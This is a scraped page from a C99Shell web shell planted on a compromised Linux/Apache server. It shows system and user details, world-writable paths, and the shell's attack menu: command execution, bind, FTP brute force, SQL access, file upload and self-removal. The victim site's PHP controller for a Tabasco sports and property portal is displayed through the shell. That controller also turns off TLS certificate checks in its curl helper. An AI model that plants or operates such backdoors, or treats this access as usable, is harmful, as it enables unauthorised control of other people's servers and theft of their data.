!C99Shell v. 2.6 Mod (06.03.2026)!

Software: Apache. PHP/7.2.34 

uname -a: Linux li456-155.members.linode.com 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01
UTC 2023 x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/TABASCO/AT_ADMIN/AT_NORTON/apps/modules/frontend/controllers/   drwxrwxrwx
Free 1.61 GB of 47.23 GB (3.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Bind    Proc.    FTP brute    Sec.    SQL    PHP-code    Self remove    Logout    


Viewing file:     ControllerBase.php (5.18 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Modules\Frontend\Controllers;
use 
Modules\Models\CdCareers;
use 
Modules\Models\CdCarrer;
use 
Modules\Models\Vsectionnotes;
use 
Modules\Models\CdEstados;
use 
Modules\Models\CdMunicipios;
use 
Phalcon\Mvc\Controller;

class 
ControllerBase extends Controller{
    public function 
initialize(){
        
$this->assets->collection('IndexJs')
            ->
setTargetPath("front/js/mercotab.v1.8.min.js")
            ->
setTargetUri("front/js/mercotab.v1.8.min.js")
            ->
addJs("front/js/vendor.min.js")
            ->
addJs("front/js/swiper.min.js")
            ->
addJs("front/js/sweetalert2.all.min.js")
            ->
addJs("front/js/demodata.min.js")
            ->
addJs("front/js/app.min.js")
            ->
addJs("front/js/demo.min.js")
            ->
addJs("front/js/jquery.fancybox.min.js")
            ->
addJs("front/js/wow.min.js")
            ->
addJs("front/js/owl.carousel.min.js")
            ->
addJs("front/js/contactForm.js")
            ->
addJs("front/js/custom.js")
            ->
join(true)
            ->
addFilter(new \Phalcon\Assets\Filters\Jsmin());

        
$this->assets->collection('IndexCss')
            ->
setTargetPath("front/css/mercotab.v1.62.min.css")
            ->
setTargetUri("front/css/mercotab.v1.62.min.css")
            ->
addCss("front/css/font-awesome.min.css")
            ->
addCss("front/css/fontawesome.css")
            ->
addCss("front/css/theme-green_blue-red.css")
            ->
addCss("front/css/swiper.min.css")
            ->
addCss("front/css/ui-panel.css")
            ->
addCss("front/css/jquery.fancybox.min.css")
            ->
addCss("front/css/animate.min.css")
            ->
addCss("front/css/owl.carousel.min.css")
            ->
addCss("front/css/owl.theme.default.min.css")
            ->
addCss("front/css/hover.css")
            ->
addCss("front/css/styles.css")
            ->
addCss("front/css/new_style21.css")
            ->
addCss("front/mercotab/css/custom.css")
            ->
addCss("front/css/responsive_ft.css")
            ->
join(true)
            ->
addFilter(new \Phalcon\Assets\Filters\Cssmin());
        
$this->view->setVar("immovables",$this->immovables());
        
$this->view->setVar("states",$this->states());
    }
    public function 
response($dataArray,$status){
        
$this->view->disable();
        if(
$status==200){
            
$this->response->setStatusCode($status"OK");
        }else{
            
$this->response->setStatusCode($status"ERROR");
        }
        
$this->response->setJsonContent($dataArray);
        
$this->response->send();
        exit();
    }
    public function 
metaHome($action,$canonical,$image,$whatsapp,$description){
        
$this->session->set("meta",
            array(
                
"title"=>"$action",
                
"url"=>$this->url->getBaseUri()."$canonical",
                
"image"=>$this->url->getBaseUri()."$image",
                
"whatsapp"=>$this->url->getBaseUri()."$whatsapp",
                
"description"=>"$description"
            
)
        );
        
/*{{ router.getRewriteUri() }}*/
    
}
    public function 
header($action){
        
$ct = array("futbol"=>"F","basquetbol"=>"B","beisbol"=>"BE","box"=>"BX","mas-deportes"=>"M","lucha-libre"=>"L","contactanos"=>"C","index"=>"I","acerca"=>"AC");
        
$this->session->set("header",
            array(
                
"$ct[$action]"=>"current-menu-ancestor",
            )
        );
    }
    protected function 
curl_get_contents($url){ // remplace file_get_contents
        
$ch curl_init($url);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
        
$data curl_exec($ch);
        
curl_close($ch);
        return 
$data;
    }
    public function 
cleaCategory($string){
        return  
mb_strtolower(str_replace(' ''-',str_replace('-','',$string)), 'UTF-8');
    }
    public function 
dateSpanish(){
        return array(
            
"01"=>"Enero",
            
"02"=>"Febrero",
            
"03"=>"Marzo",
            
"04"=>"Abril",
            
"05"=>"Mayo",
            
"06"=>"Junio",
            
"07"=>"Julio",
            
"08"=>"Agosto",
            
"09"=>"Septiembre",
            
"10"=>"Octubre",
            
"11"=>"Noviembre",
            
"12"=>"Diciembre"
        
);
    }
    protected function 
immovables(){
        return array(
            
"bodega"=>"Bodega",
            
"casa"=>"Casa",
            
"departamento"=>"Departamento",
            
"edificio"=>"Edificio",
            
"local comercial"=>"Local Comercial",
            
"lote residencial"=>"Lote Residencial",
            
"oficina"=>"Oficina",
            
"rancho"=>"Rancho",
            
"terreno comercial"=>"Terreno Comercial",
            
"terreno industrial"=>"Terreno Industrial",
            
"terreno grande"=>"Terreno Grande",
        );
    }
    protected function 
states(){
        
$states CdEstados::find("nombre='Tabasco'");
        
$elements = array();
        foreach(
$states as $v){
            
$municipios CdMunicipios::find("eid={$v->getEid()}");
            foreach(
$municipios as $j){
                
$elements[$v->getNombre()][] = array("mpid"=>$j->getMpid(),"nombre"=>$j->getNombre());
            }
        }
        return 
$elements;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

c99shell Mod — c99shell.com © 2026
Generation time: 0.028